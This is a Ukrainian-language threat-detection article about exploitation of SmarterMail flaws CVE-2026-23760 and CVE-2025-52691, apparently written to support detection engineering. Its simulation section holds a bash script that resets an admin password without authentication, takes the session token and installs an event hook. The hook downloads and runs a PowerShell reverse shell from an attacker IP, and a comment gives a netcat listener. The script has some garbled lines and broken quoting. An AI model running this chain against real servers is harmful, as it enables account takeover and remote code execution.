SOC Prime Bias: Критичний

04 Feb 2026 16:59

DE&TH до вразливостей: Huntress виявляє захоплення облікового запису SmarterMail, що призводить до виконання віддаленого коду (RCE)

Author Photo
Ruslan Mikhalov Керівник досліджень загроз у SOC Prime linkedin icon Стежити
DE&TH до вразливостей: Huntress виявляє захоплення облікового запису SmarterMail, що призводить до виконання віддаленого коду (RCE)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

Huntress спостерігала використання в дикій природі двох вразливостей SmarterMail, які дозволяють захоплення привілейованих акаунтів і, в кінцевому рахунку, виконання коду віддалено. Зловмисники ініціюють неавтентифіковані потоки скидання пароля, щоб отримати привілейований токен, а потім використовують “системні події” SmarterMail для виконання команд для розвідки хосту. Діяльність вплинула на декількох клієнтів і проявила ознаки широкомасштабної автоматизованої експлуатації.

Розслідування

Аналітики Huntress відновили послідовність запитів HTTP POST до кінцевих точок API SmarterMail, які використовувалися для запуску скидань паролів, автентифікації, конфігурації системних подій, додавання доменів під контролем зловмисника, а потім видалення слідів. Цей ланцюг націлено на CVE-2026-23760 (захоплення привілейованих акаунтів) та CVE-2025-52691 (довільне завантаження файлів). Запити зазвичай використовували user-agent python-requests/2.32.4, а оператори залишали файли result.txt, що містять результати розвідки з виконаних команд.

Міграція

Оновіть SmarterMail до версії 9511 або пізнішої, щоб вирішити обидва CVE. Перегляньте та звузьте експозицію API, вимкніть або обмежте непотрібні системні події та слідкуйте за аномальною активністю API, яка змінює акаунти, події або домени. Визначте та видаліть будь-які системні події або домени, створені зловмисником, щоб усунути збереження загрози.

Відповідь

Полюйте за підозрілою схемою викликів API і user-agent python-requests/2.32.4, блокуйте IP-адреси джерел порушення та видаляйте шкідливі системні події. Негайно обертайте привілейовані облікові дані. Проведіть форензичний аналіз кінцевих точок, щоб знайти result.txt і перевірити, чи були додаткові об’єкти навантаження підготовлені. Повідомте постраждалих користувачів/клієнтів і надайте чіткі інструкції з усунення наслідків.

graph TB %% Class Definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef data fill:#e6e6e6 %% Nodes action_exploit_cred[“<b>Дія</b> – <b>T1212 Експлуатація для доступу до облікових даних</b><br/>Зловмисник експлуатує CVE-2026-23760 через POST /api/v1/auth/force-reset-password для скидання привілейованого пароля.”] class action_exploit_cred action action_authenticate[“<b>Дія</b> – <b>T1078 Дійсні облікові записи</b> & <b>T1134.003 Маніпуляція токеном доступу</b><br/>Використовуючи нові облікові дані, POST /api/v1/auth/authenticate-user отримує токен доступу.”] class action_authenticate action tool_requests[“<b>Інструмент</b> – <b>Назва</b>: python-requests 2.32.4<br/><b>Призначення</b>: HTTP-клієнт для викликів API”] class tool_requests tool data_token[“<b>Дані</b> – Токен доступу<br/>Збережений для подальших API-взаємодій”] class data_token data action_config_event[“<b>Дія</b> – <b>T1569 Системні служби</b> & <b>T1574 Захоплення потоку виконання</b><br/>POST /api/v1/settings/sysadmin/event-hook створює шкідливу системну подію.”] class action_config_event action action_add_domain[“<b>Дія</b> – <b>T1204 Виконання користувачем</b><br/>POST /api/v1/settings/sysadmin/domain-put додає домен, який тригерить подію та виконує команди розвідки.”] class action_add_domain action data_result[“<b>Дані</b> – result.txt<br/>Файл створено за шляхом C:\\Program Files (x86)\\SmarterTools\\SmarterMail\\Service\\wwwroot\\result.txt”] class data_result data action_cleanup[“<b>Дія</b> – Кроки очищення<br/>POST /api/v1/settings/sysadmin/domain-delete та event-hook-delete для видалення артефактів.”] class action_cleanup action action_remove_logs[“<b>Дія</b> – <b>T1070.001 Очищення журналів подій Windows</b>”] class action_remove_logs action action_file_deletion[“<b>Дія</b> – <b>T1070.004 Видалення файлів</b><br/>Видаляє result.txt та пов’язані файли.”] class action_file_deletion action action_clear_persistence[“<b>Дія</b> – <b>T1070.009 Очищення персистентності</b>”] class action_clear_persistence action %% Connections action_exploit_cred –>|використовує| tool_requests action_exploit_cred –>|призводить_до| action_authenticate action_authenticate –>|створює| data_token data_token –>|використовується_для| action_config_event action_config_event –>|створює| action_add_domain action_add_domain –>|записує| data_result action_add_domain –>|тригерить| action_cleanup action_cleanup –>|включає| action_remove_logs action_cleanup –>|включає| action_file_deletion action_cleanup –>|включає| action_clear_persistence

Потік атаки

Виконання симуляції

Попередня умова: пройшла перевірка телеметрії та базового рівня.

Наратив атаки та команди

  1. Розвідка: Зловмисник виявляє, що SmarterMail працює в версії, вразливій до CVE‑2026‑23760.
  2. Примусовий скидання пароля (T1098): Використання неавтентифікованого force-reset-password кінцева точка для встановлення відомого пароля для привілейованого адміністратор акуант.
  3. Автентифікація (T1078): Вхід знову встановленими обліковими даними через authenticate-user кінцева точка, отримуючи сесійну токен.
  4. Розгортання шкідливого гачка подій (T1569): POST створений JSON-навантаження до event-hook який вказує на PowerShell зворотну оболонку, розміщену на сервері зловмисника.
  5. Тригер виконання: Гачок подій автоматично запускається на веб-сервері, з’являючи зворотну оболонку для зловмисника.
  6. Очищення: Видалення шкідливого гачка через event-hook-delete кінцева точка (виключено з виявлення).

Усі кроки генерують події HTTP POST, які відповідають критеріям вибір правила Sigma.

Скрипт регресійного тестування

#!/usr/bin/env bash
# -------------------------------------------------
# Захоплення облікового запису SmarterMail та симуляція RCE
# -------------------------------------------------
SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
NEW_PASS="PwnedPass!2026"
ATTACKER_IP="10.10.14.5"
ATTACKER_PORT="4444"

# 1. Примусовий скидання пароля (неавтентифіковано)
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${NEW_PASS}"}"

# 2. Автентифікація та захоплення токена сесії
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"${NEW_PASS}"}" 
        | jq -r '.sessionToken')

# 3. Розгортання шкідливого гачка подій (RCE)
PAYLOAD=$(cat <<EOF
{
  "event":"mail-received",
  "command":"powershell -NoP -W Hidden -Exec Bypass -Command "Invoke-WebRequest http://${ATTACKER_IP}:${ATTACKER_PORT}/shell.ps1 -OutFile $env:TEMPshell.ps1; powershell -ExecutionPolicy Bypass -File $env:TEMPshell.ps1""
}
EOF
)

curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook" 
     -H "Content-Type: application/json" 
     -H "Authorization: Bearer ${TOKEN}" 
     -d "${PAYLOAD}"

найти следы ворд
"[+] Малicious event‑hook deployed. Awaiting reverse shell..."

# 4. (Необов'язково) Очікування зворотної оболонки – зловмисник запускає слухача окремо:
#    nc -lvnp ${ATTACKER_PORT}

# 5. Очищення – видалення гачка (виключено з виявлення)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

Команди очищення

#!/usr/bin/env bash
# Видалення будь-яких залишкових шкідливих гачків і скидання пароля адміністратора

SM_URL="https://smartermail.example.com"
ADMIN_USER="admin"
SAFE_PASS="OriginalStrong!Pass"

# Автентифікація зі збереженим паролем (якщо відомий) або використання попереднього токена
TOKEN=$(curl -k -s -X POST "${SM_URL}/api/v1/auth/authenticate-user" 
        -H "Content-Type: application/json" 
        -d "{"username":"${ADMIN_USER}","password":"PwnedPass!2026"}" 
        | jq -r '.sessionToken')

# Видалення шкідливого гачка подій (якщо все ще присутній)
curl -k -s -X POST "${SM_URL}/api/v1/settings/sysadmin/event-hook-delete" 
     -H "Authorization: Bearer ${TOKEN}"

# Скидання пароля адміністратора до відомого надійного значення
curl -k -s -X POST "${SM_URL}/api/v1/auth/force-reset-password" 
     -H "Content-Type: application/json" 
     -d "{"username":"${ADMIN_USER}","newPassword":"${SAFE_PASS}"}"